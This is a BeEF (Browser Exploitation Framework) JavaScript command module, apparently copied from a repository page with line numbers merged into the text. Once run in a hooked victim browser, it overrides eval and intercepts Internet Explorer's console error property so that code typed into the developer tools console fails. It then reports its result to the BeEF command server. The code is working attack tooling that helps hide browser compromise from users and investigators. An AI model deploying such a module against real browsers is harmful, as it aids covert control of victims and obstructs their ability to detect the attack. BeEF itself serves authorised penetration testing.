Path: blob/master/modules/browser/hooked_origin/disable_developer_tools/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7// Uses this technique by KSpace:8// http://kspace.in/blog/2013/03/12/ie-disable-javascript-execution-from-console/910var _eval = eval,11evalError = document.__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR,12flag = false;1314Object.defineProperty( document, "__IE_DEVTOOLBAR_CONSOLE_EVAL_ERROR", {15get : function(){16return evalError;17},18set : function(v){19flag = !v;20evalError = v;21}22});2324eval = function() {25if ( flag ) {26throw "";27}28return _eval.apply( this, arguments );29};3031beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=attempted to disable developer tools");32});333435